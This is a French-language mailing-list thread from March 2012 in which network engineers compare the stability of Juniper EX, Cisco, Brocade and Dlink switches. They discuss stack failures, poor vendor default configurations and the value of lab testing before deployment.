+1. Sur Extreme, pour une configuration propre, il faut mixer entre les docs officielles et les docs internes. En tt cas, je rejoins Raphael sur le fait que laisser les configs par défaut c est chercher des problemes. Et faire un lab est loin d être du luxe, car entre coupure de lien et coupure électrique, il y a parfois (souvent) de grosses différences de comportement. Le 21 mars 2012 04:17, "Raphael MAUNIER" a écrit : > Je ne sais pas comment vous faites tous pour avoir des pb aussi basique > avec des équipements tel qu'ils soient. > > Avant de faire des mises en prod, on fait du bon gros lab, on valide la > plupart des scénarios de coupures, d'urgence et seulement apres on passe > en prod. > > Que ce soit Juniper, Cisco, ou Brocade, ils sont plus que favorable au > prêt d'équipements ou la mise en place d'un POC avec des clients ( ou > futur client ). > Une validation d'OS, c'est long et ça permet d'éviter des soucis lors > d'incident du type électrique. > > Le split de stack, ça arrive chez tout le monde, et pour ma part quand > c'est arrivé sur du Cisco et sur du Juniper, c'était une "erreur" dans > l'interprétation de la conf à mettre dans le stack. > > Je dirais que le soucis est "la conf par défaut du stack des > constructeurs" qui est à mon sens bien souvent stupide car pensée par des > ingés rats de labo constructeurs qui ne savent pas comment ça se passe > dans la vrai vie. > > Ce qui est marrant, c'est que les constructeurs ( tous ) mettent des confs > par défaut de merde et balancent tous des Best config en disant " Ouais > surtout changez ces paramètres sinon ça va tout casser". Les constructeurs > sont tous des fans des Shadocks : Pourquoi faire simple quand on peut > faire compliqué. > > Quand je parle avec ceux qui utilisent des Cisco en stack, ils me disent > c'est super stable, alors qu'a l'époque j'ai eu pleins de pb, et l'inverse > est pile poil pareil. > > Plus tu maitrise un OS, moins tu aura de soucis. Bien souvent, le soucis ( > sauf gros méchant bug ) c'est l'utilisateur pas l'équipement ! > > -- > Raphaël Maunier > NEO TELECOMS > CTO / Directeur Ingénierie > AS8218 > > > > > > > > > On 3/20/12 4:12 PM, "DonKiShoot" wrote: > > >Bonjour, > > > >Administrateur contraint d'équipement Juniper depuis 3 ans (J4350, > >EX4200 et EX2200) > >Et bien ce n'est pas super stable. > >Stack 4200 "out" suite a un changement de priorité dans la stack : reboot > >Rupture de courant sur la moitié de la stack, stack HS : reboot > >Mes J4350 qui me crachent des PANIC PANIC PANIC de temps en temps quand > >ils perdent un lien donc reboot > > > >Bref, faut pas trop les chatouiller > > > >Le 20/03/2012 05:25, Raphael MAUNIER a écrit : > >> Heu, > >> > >> En 2 ans il y a eu quand même pas mal d'évolution sur la gamme EX et > >> surtout sur le Junos. > >> Pas encore sec en 2 ans, il faut surement revenir voir la peinture si > >>elle > >> a séchée entre temps quand même :) > >> La gamme a été annoncée à l'été 2008 et dispo pour de vrai vers la fin > >> 2008. Donc si ça été testé début 2009, je peux concevoir que ce n'était > >> pas supra stable. > >> > >> On tourne des codes bien stable depuis sur les EX, ils font de l'IS-IS, > >>du > >> BGP en un petit bout de Mpls, et le tout en stack ( avec le cable ET en > >> 10G ), et ça ne bouge pas. > >> > >> Mais bon, c'est pas le prix d'un Dlink ( qui était le sujet de départ ) > >> > >> -- > >> Raphaël Maunier > >> NEO TELECOMS > >> CTO / Directeur Ingénierie > >> AS8218 > >> > >> > >> > >> > >> > >> On 3/19/12 11:22 PM, "Guillaume Barrot" > >>wrote: > >> > >>> EX teste et pas approuve. > >>> L'OS corrompu lors d'un reboot électrique (et pas un cas isole, mais > >>> globalement un sur trois environ ...), les stacks pas stables, et > >>> autres joyeusetés ... pas encore sec la gamme, de mon point de vue. > >>> > >>> Apres faut aussi voir ce qu'il y a autour du produit > >>> (support, évolution soft, etc), et la Juniper France, autant cote > >>>routeurs > >>> y a du monde, autant cote secu / switchs, j'ai toujours ete très déçus. > >>> Maintenant c’était il y a presque 2 ans, on peut espérer que ça ait > >>>change > >>> depuis. > >>> > >>> Le 19 mars 2012 22:39, Olivier Benghozi > >>> a écrit : > >>> > Pas convaincu par les Dlink, pour ma part... Fiabilité douteuse (le > soft > ou le hard d'ailleurs), CLI vraiment pas top (quand ce n'est pas qu'un > clickotron), fonctions limitées... Bon, c'est vraiment pas cher. > Les petits Brocade, ça fait moins de choses qu'un Cisco ou qu'un > Juniper > mais ça le fait convenablement, et les prix sont moins élevés que du > Cisco > (et ça boot en 1 minute), garanti à vie etc. > Les Juniper EX, juste testé un coup, ça avait l'air pas mal du tout > (mais > pas d'expérience dessus), garanti à vie aussi. > Les Cisco SG, connais pas vraiment, mais il me semblait que c'était > grosso > modo du Linksys rebrandé avec un OS CLIisé façon IOS? > > Olivier
